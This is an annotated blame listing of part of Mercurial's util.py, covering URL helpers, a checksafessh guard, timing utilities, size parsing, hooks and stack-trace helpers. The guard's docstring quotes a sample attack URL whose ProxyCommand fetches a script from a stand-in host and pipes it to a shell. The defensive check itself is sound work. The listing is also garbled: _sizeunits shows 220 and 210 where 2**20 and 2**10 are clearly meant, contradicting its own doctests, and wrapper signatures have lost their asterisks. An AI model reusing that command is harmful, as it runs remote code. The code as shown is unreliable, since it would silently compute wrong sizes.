20353 0889585b44f1 util.url: add an 'islocal' method Siddharth Agarwal <sid0@fb.com> parents: 20244 diff changeset	2831 def islocal(self):
0889585b44f1 util.url: add an 'islocal' method Siddharth Agarwal <sid0@fb.com> parents: 20244 diff changeset	2832 '''whether localpath will return something that posixfile can open'''
0889585b44f1 util.url: add an 'islocal' method Siddharth Agarwal <sid0@fb.com> parents: 20244 diff changeset	2833 return (not self.scheme or self.scheme == 'file'
0889585b44f1 util.url: add an 'islocal' method Siddharth Agarwal <sid0@fb.com> parents: 20244 diff changeset	2834 or self.scheme == 'bundle')
0889585b44f1 util.url: add an 'islocal' method Siddharth Agarwal <sid0@fb.com> parents: 20244 diff changeset	2835
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2836 def hasscheme(path):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2837 return bool(url(path).scheme)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2838
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2839 def hasdriveletter(path):
15609 8f4bad72d8b1 util: fix url.__str__() for windows file URLs Patrick Mezard <pmezard@gmail.com> parents: 15505 diff changeset	2840 return path and path[1:2] == ':' and path[0:1].isalpha()
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2841
14825 de9eb6b1da4f util: rename the util.localpath that uses url to urllocalpath (issue2875) Mads Kiilerich <mads@kiilerich.com> parents: 14766 diff changeset	2842 def urllocalpath(path):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2843 return url(path, parsequery=False, parsefragment=False).localpath()
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2844
33648 0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	2845 def checksafessh(path):
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	2846 """check if a path / url is a potentially unsafe ssh exploit (SEC)
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	2847
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	2848 This is a sanity check for ssh urls. ssh will parse the first item as
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	2849 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server\|sh/path.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	2850 Let's prevent these potentially exploited urls entirely and warn the
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	2851 user.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	2852
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	2853 Raises an error.Abort when the url is unsafe.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	2854 """
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	2855 path = urlreq.unquote(path)
33658 3fee7f7d2da0 ssh: unban the use of pipe character in user@host:port string Yuya Nishihara <yuya@tcha.org> parents: 33655 diff changeset	2856 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
33648 0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	2857 raise error.Abort(_('potentially unsafe url: %r') %
36747 ca201470abb4 util: fix unsafe url abort with bytestr() on url Augie Fackler <augie@google.com> parents: 36724 diff changeset	2858 (pycompat.bytestr(path),))
33648 0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	2859
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2860 def hidepassword(u):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2861 '''hide user credential in a url string'''
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2862 u = url(u)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2863 if u.passwd:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2864 u.passwd = '***'
31841 9ff5a124d111 py3: replace str() with bytes() Pulkit Goyal <7895pulkit@gmail.com> parents: 31811 diff changeset	2865 return bytes(u)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2866
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2867 def removeauth(u):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2868 '''remove all authentication information from a url string'''
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2869 u = url(u)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	2870 u.user = u.passwd = None
37366 b23e3cc1afd4 py3: return bytes from util.removeauth() Pulkit Goyal <7895pulkit@gmail.com> parents: 37322 diff changeset	2871 return bytes(u)
14515 76f295eaed86 util: add helper function isatty(fd) to check for tty-ness Idan Kamara <idankk86@gmail.com> parents: 14313 diff changeset	2872
18736 af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2873 timecount = unitcountfn(
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2874 (1, 1e3, _('%.0f s')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2875 (100, 1, _('%.1f s')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2876 (10, 1, _('%.2f s')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2877 (1, 1, _('%.3f s')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2878 (100, 0.001, _('%.1f ms')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2879 (10, 0.001, _('%.2f ms')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2880 (1, 0.001, _('%.3f ms')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2881 (100, 0.000001, _('%.1f us')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2882 (10, 0.000001, _('%.2f us')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2883 (1, 0.000001, _('%.3f us')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2884 (100, 0.000000001, _('%.1f ns')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2885 (10, 0.000000001, _('%.2f ns')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2886 (1, 0.000000001, _('%.3f ns')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2887 )
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2888
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2889 @attr.s
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2890 class timedcmstats(object):
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2891 """Stats information produced by the timedcm context manager on entering."""
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2892
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2893 # the starting value of the timer as a float (meaning and resulution is
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2894 # platform dependent, see util.timer)
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2895 start = attr.ib(default=attr.Factory(lambda: timer()))
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2896 # the number of seconds as a floating point value; starts at 0, updated when
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2897 # the context is exited.
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2898 elapsed = attr.ib(default=0)
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2899 # the number of nested timedcm context managers.
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2900 level = attr.ib(default=1)
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2901
38852 9d49bb117dde util: make new timedcmstats class Python 3 compatible Martijn Pieters <mj@zopatista.com> parents: 38837 diff changeset	2902 def __bytes__(self):
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2903 return timecount(self.elapsed) if self.elapsed else '<unknown>'
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2904
38852 9d49bb117dde util: make new timedcmstats class Python 3 compatible Martijn Pieters <mj@zopatista.com> parents: 38837 diff changeset	2905 __str__ = encoding.strmethod(__bytes__)
9d49bb117dde util: make new timedcmstats class Python 3 compatible Martijn Pieters <mj@zopatista.com> parents: 38837 diff changeset	2906
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2907 @contextlib.contextmanager
39287 e00123f63410 util: make timedcm require the label (API) Augie Fackler <augie@google.com> parents: 39286 diff changeset	2908 def timedcm(whencefmt, *whenceargs):
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2909 """A context manager that produces timing information for a given context.
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2910
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2911 On entering a timedcmstats instance is produced.
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2912
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2913 This context manager is reentrant.
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2914
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2915 """
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2916 # track nested context managers
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2917 timedcm._nested += 1
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2918 timing_stats = timedcmstats(level=timedcm._nested)
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2919 try:
39285 497effb0a04a util: make timedcm context manager also emit trace events Augie Fackler <augie@google.com> parents: 39237 diff changeset	2920 with tracing.log(whencefmt, *whenceargs):
497effb0a04a util: make timedcm context manager also emit trace events Augie Fackler <augie@google.com> parents: 39237 diff changeset	2921 yield timing_stats
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2922 finally:
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2923 timing_stats.elapsed = timer() - timing_stats.start
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2924 timedcm._nested -= 1
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2925
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2926 timedcm._nested = 0
18736 af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2927
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2928 def timed(func):
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2929 '''Report the execution time of a function call to stderr.
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2930
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2931 During development, use as a decorator when you need to measure
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2932 the cost of a function, e.g. as follows:
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2933
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2934 @util.timed
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2935 def foo(a, b, c):
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2936 pass
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2937 '''
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2938
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2939 def wrapper(args, *kwargs):
39286 331ab85e910b cleanup: make all uses of timedcm specify what they're timing Augie Fackler <augie@google.com> parents: 39285 diff changeset	2940 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2941 result = func(args, *kwargs)
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2942 stderr = procutil.stderr
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2943 stderr.write('%s%s: %s\n' % (
38852 9d49bb117dde util: make new timedcmstats class Python 3 compatible Martijn Pieters <mj@zopatista.com> parents: 38837 diff changeset	2944 ' ' * time_stats.level * 2, pycompat.bytestr(func.__name__),
9d49bb117dde util: make new timedcmstats class Python 3 compatible Martijn Pieters <mj@zopatista.com> parents: 38837 diff changeset	2945 time_stats))
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	2946 return result
18736 af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	2947 return wrapper
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	2948
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	2949 _sizeunits = (('m', 220), ('k', 210), ('g', 2**30),
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	2950 ('kb', 210), ('mb', 220), ('gb', 2**30), ('b', 1))
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	2951
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	2952 def sizetoint(s):
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	2953 '''Convert a space specifier to a byte count.
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	2954
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2955 >>> sizetoint(b'30')
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	2956 30
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2957 >>> sizetoint(b'2.2kb')
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	2958 2252
34146 0fa781320203 doctest: bulk-replace string literals with b'' for Python 3 Yuya Nishihara <yuya@tcha.org> parents: 34101 diff changeset	2959 >>> sizetoint(b'6M')
19194 1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	2960 6291456
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	2961 '''
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	2962 t = s.strip().lower()
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	2963 try:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	2964 for k, u in _sizeunits:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	2965 if t.endswith(k):
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	2966 return int(float(t[:-len(k)]) * u)
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	2967 return int(t)
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	2968 except ValueError:
1d08df65cd3c util: migrate fileset._sizetoint to util.sizetoint Bryan O'Sullivan <bryano@fb.com> parents: 18938 diff changeset	2969 raise error.ParseError(_("couldn't parse size: %s") % s)
19211 3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	2970
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	2971 class hooks(object):
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	2972 '''A collection of hook functions that can be used to extend a
26098 ce26928cbe41 spelling: behaviour -> behavior timeless@mozdev.org parents: 25672 diff changeset	2973 function's behavior. Hooks are called in lexicographic order,
19211 3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	2974 based on the names of their sources.'''
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	2975
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	2976 def __init__(self):
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	2977 self._hooks = []
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	2978
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	2979 def add(self, source, hook):
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	2980 self._hooks.append((source, hook))
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	2981
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	2982 def __call__(self, *args):
3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	2983 self._hooks.sort(key=lambda x: x[0])
21046 cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 21018 diff changeset	2984 results = []
19211 3bfd7f1e7485 summary: augment output with info from extensions Bryan O'Sullivan <bryano@fb.com> parents: 19194 diff changeset	2985 for source, hook in self._hooks:
21046 cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 21018 diff changeset	2986 results.append(hook(*args))
cc13addbd62b util: enable "hooks" to return list of the values returned from each hooks FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 21018 diff changeset	2987 return results
20244 47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	2988
36167 2874896a6e3b util: format line number of stack trace using %d Augie Fackler <augie@google.com> parents: 36166 diff changeset	2989 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
28497 906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	2990 '''Yields lines for a nicely formatted stacktrace.
31324 78ac7061f840 util: add debugstacktrace depth limit Mads Kiilerich <madski@unity3d.com> parents: 31323 diff changeset	2991 Skips the 'skip' last entries, then return the last 'depth' entries.
28497 906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	2992 Each file+linenumber is formatted according to fileline.
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	2993 Each line is formatted according to line.
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	2994 If line is None, it yields:
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	2995 length of longest filepath+line number,
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	2996 filepath+linenumber,
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	2997 function
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	2998
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	2999 Not be used in production code but very convenient while developing.
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3000 '''
36168 7ec26f27ca83 util: convert traceback-related sysstrs to sysbytes in getstackframes Augie Fackler <augie@google.com> parents: 36167 diff changeset	3001 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
31324 78ac7061f840 util: add debugstacktrace depth limit Mads Kiilerich <madski@unity3d.com> parents: 31323 diff changeset	3002 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
78ac7061f840 util: add debugstacktrace depth limit Mads Kiilerich <madski@unity3d.com> parents: 31323 diff changeset	3003 ][-depth:]
28497 906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3004 if entries:
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3005 fnmax = max(len(entry[0]) for entry in entries)
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3006 for fnln, func in entries:
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3007 if line is None:
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3008 yield (fnmax, fnln, func)
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3009 else:
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3010 yield line % (fnmax, fnln, func)
906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3011
31324 78ac7061f840 util: add debugstacktrace depth limit Mads Kiilerich <madski@unity3d.com> parents: 31323 diff changeset	3012 def debugstacktrace(msg='stacktrace', skip=0,
37121 5be286db5fb5 procutil: move process/executable management functions to new module Yuya Nishihara <yuya@tcha.org> parents: 37120 diff changeset	3013 f=procutil.stderr, otherf=procutil.stdout, depth=0):
20244 47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3014 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
31324 78ac7061f840 util: add debugstacktrace depth limit Mads Kiilerich <madski@unity3d.com> parents: 31323 diff changeset	3015 Skips the 'skip' entries closest to the call, then show 'depth' entries.
78ac7061f840 util: add debugstacktrace depth limit Mads Kiilerich <madski@unity3d.com> parents: 31323 diff changeset	3016 By default it will flush stdout first.
28496 b592564a803c util: reword debugstacktrace comment timeless <timeless@mozdev.org> parents: 28027 diff changeset	3017 It can be used everywhere and intentionally does not require an ui object.
20244 47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3018 Not be used in production code but very convenient while developing.
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3019 '''
20542 be27652675ce util: debugstacktrace, flush before and after writing Mads Kiilerich <madski@unity3d.com> parents: 20353 diff changeset	3020 if otherf:
be27652675ce util: debugstacktrace, flush before and after writing Mads Kiilerich <madski@unity3d.com> parents: 20353 diff changeset	3021 otherf.flush()
31323 7c877cbf30d6 util: strip trailing newline from debugstacktrace message Mads Kiilerich <madski@unity3d.com> parents: 31151 diff changeset	3022 f.write('%s at:\n' % msg.rstrip())
31324 78ac7061f840 util: add debugstacktrace depth limit Mads Kiilerich <madski@unity3d.com> parents: 31323 diff changeset	3023 for line in getstackframes(skip + 1, depth=depth):
28497 906fece80cfa util: refactor getstackframes timeless <timeless@mozdev.org> parents: 28496 diff changeset	3024 f.write(line)
20542 be27652675ce util: debugstacktrace, flush before and after writing Mads Kiilerich <madski@unity3d.com> parents: 20353 diff changeset	3025 f.flush()
20244 47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing Mads Kiilerich <madski@unity3d.com> parents: 20202 diff changeset	3026
24635 21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3027 class dirs(object):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3028 '''a multiset of directory names from a dirstate or manifest'''
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3029
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3030 def __init__(self, map, skip=None):
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3031 self._dirs = {}
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3032 addpath = self.addpath
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3033 if safehasattr(map, 'iteritems') and skip is not None:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3034 for f, s in map.iteritems():
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3035 if s[0] != skip:
21e1ece30f8c util: move dirs() and finddirs() from scmutil to util Drew Gottlieb <drgott@google.com> parents: 24605 diff changeset	3036 addpath(f)
